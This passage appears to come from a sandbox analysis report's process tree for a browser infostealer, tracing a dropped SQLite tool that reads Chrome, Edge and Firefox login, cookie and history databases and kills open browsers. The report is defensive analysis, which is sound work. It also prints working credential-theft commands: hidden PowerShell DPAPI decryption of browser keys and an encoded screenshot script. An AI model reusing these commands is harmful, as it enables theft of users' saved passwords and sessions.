  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329179.sql"
  2⤵
  - Executes dropped EXE
  PID:3292
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329210.sql"
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329226.sql"
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329242.sql"
  2⤵
  - Executes dropped EXE
  PID:2376
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329257.sql"
  2⤵
  - Executes dropped EXE
  PID:1044
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329273.sql"
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329289.sql"
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329320.sql"
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329335.sql"
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329367.sql"
  2⤵
  - Executes dropped EXE
  PID:1180
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329385.sql"
  2⤵
  - Executes dropped EXE
  PID:4020
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329414.sql"
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329429.sql"
  2⤵
  - Executes dropped EXE
  PID:4872
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669329460_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329460.sql"
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780669329617_t0kr.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780669329617_t0kr.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\History_1780669330101_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330101.sql"
  2⤵
  - Executes dropped EXE
  PID:4932
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669330117_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330117.sql"
  2⤵
  - Executes dropped EXE
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669330117_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330132.sql"
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669330117_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330164.sql"
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669330117_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330179.sql"
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330195.sql"
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330210.sql"
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330226.sql"
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330257.sql"
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330273.sql"
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330289.sql"
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669330195_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330320.sql"
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330335.sql"
  2⤵
  - Executes dropped EXE
  PID:1268
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330351.sql"
  2⤵
  - Executes dropped EXE
  PID:4020
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330367.sql"
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330382.sql"
  2⤵
  - Executes dropped EXE
  PID:4016
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669330398_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330398.sql"
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:1296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:2776
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:908
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4408
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1780669330617_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330617.sql"
  2⤵
  - Executes dropped EXE
  PID:3568
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1780669330632_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330648.sql"
  2⤵
  - Executes dropped EXE
  PID:3256
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1780669330679_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330679.sql"
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1780669330710_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669330710.sql"
  2⤵
  - Executes dropped EXE
  PID:4904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:1888
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:4480
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
  2⤵
  PID:4328
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:1076
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:1536
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM QQBrowser.exe"
  2⤵
  PID:3556
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM QQBrowser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:3984
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:2932
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:4744
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:432
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:4016
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:4556
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAkT2+SHnxqq2a9jyTsr2p4R79KcNf92qMzq0u6UcbK9YAAAAADoAAAAACAAAgAAAAsrMvfOgIzCeNmTL98ESAhL5qujSs8wSwDLbsUMi5aaMwAAAAzp50KIAZHZut5y/KySAwR14ksi5rSQksZxzuwb61URGzZAH84EUXrlD0N45LHOWAQAAAAN7e09CEo+0ILEF3pHATkuqp8Z/YuiaoTl/opwzLwByoe/FmkDPLbiJuH8eTdZiDhxfji0Nh8SDohFReDqoWTn4='),$null,'CurrentUser'))""
  2⤵
  PID:4496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAkT2+SHnxqq2a9jyTsr2p4R79KcNf92qMzq0u6UcbK9YAAAAADoAAAAACAAAgAAAAsrMvfOgIzCeNmTL98ESAhL5qujSs8wSwDLbsUMi5aaMwAAAAzp50KIAZHZut5y/KySAwR14ksi5rSQksZxzuwb61URGzZAH84EUXrlD0N45LHOWAQAAAAN7e09CEo+0ILEF3pHATkuqp8Z/YuiaoTl/opwzLwByoe/FmkDPLbiJuH8eTdZiDhxfji0Nh8SDohFReDqoWTn4='),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAGgAlTgDVOeezRsrO6j1b3sddKb+2oXmJGnHVd+CYRrIAAAAAA6AAAAAAgAAIAAAAJTAdEkjUFEzscdIYGtD6CVOdZm0zWk1t2KfD+cSfPqyMAAAANWamsIO7l9lNZhHVT9TMuqMgp7IEV8sMD5I9O48NGd8+wpg8LTf8YlHJJ9uoone4kAAAAB2kIjXMPCOwwD/ONw0EAFeEdvnStQX1wKStmJSYE9Ek9eYLDVt0ofa+ToNi4FAIREhjAArX9pLr6f/L63XJSIl'),$null,'CurrentUser'))""
  2⤵
  PID:4864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAGgAlTgDVOeezRsrO6j1b3sddKb+2oXmJGnHVd+CYRrIAAAAAA6AAAAAAgAAIAAAAJTAdEkjUFEzscdIYGtD6CVOdZm0zWk1t2KfD+cSfPqyMAAAANWamsIO7l9lNZhHVT9TMuqMgp7IEV8sMD5I9O48NGd8+wpg8LTf8YlHJJ9uoone4kAAAAB2kIjXMPCOwwD/ONw0EAFeEdvnStQX1wKStmJSYE9Ek9eYLDVt0ofa+ToNi4FAIREhjAArX9pLr6f/L63XJSIl'),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand WwB2AG8AaQBkAF0AWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQAKAFsAdgBvAGkAZABdAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAnACkACgAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAApAAoAJABnAD0AWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkACgAkAGcALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAkAGIALgBMAG8AYwBhAHQAaQBvAG4ALABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAkAGIALgBTAGkAegBlACkACgAkAGIAbQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABkAGEAdABhAC0AdQBjAGMASgByAE0AXABcAEMAYQBwAHQAdQByAGUALgBwAG4AZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAkAGcALgBEAGkAcwBwAG8AcwBlACgAKQA7ACQAYgBtAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --kiosk file:///C:/Users/Admin/AppData/Local/Temp/sys_513e1579/setup.html
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffd787c728,0x7fffd787c734,0x7fffd787c740
    3⤵
    PID:2052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,657966759380930461,14842912953576189083,262144 --field-trial-handle=2012,i,8012080299138470189,15940320730578917924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2004 /prefetch:2
    3⤵
    PID:1948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2252,i,6013920131771755277,15146215480751314822,524288 --field-trial-handle=2012,i,8012080299138470189,15940320730578917924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2256 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,4012925210535124025,827937032815188209,524288 --field-trial-handle=2012,i,8012080299138470189,15940320730578917924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2804 /prefetch:13
    3⤵
    PID:1708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,14551221230697304401,6381526693169712717,2097152 --field-trial-handle=2012,i,8012080299138470189,15940320730578917924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:2928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,15035948507661600122,15485119898638504557,2097152 --field-trial-handle=2012,i,8012080299138470189,15940320730578917924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3292 /prefetch:1
    3⤵
    PID:832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
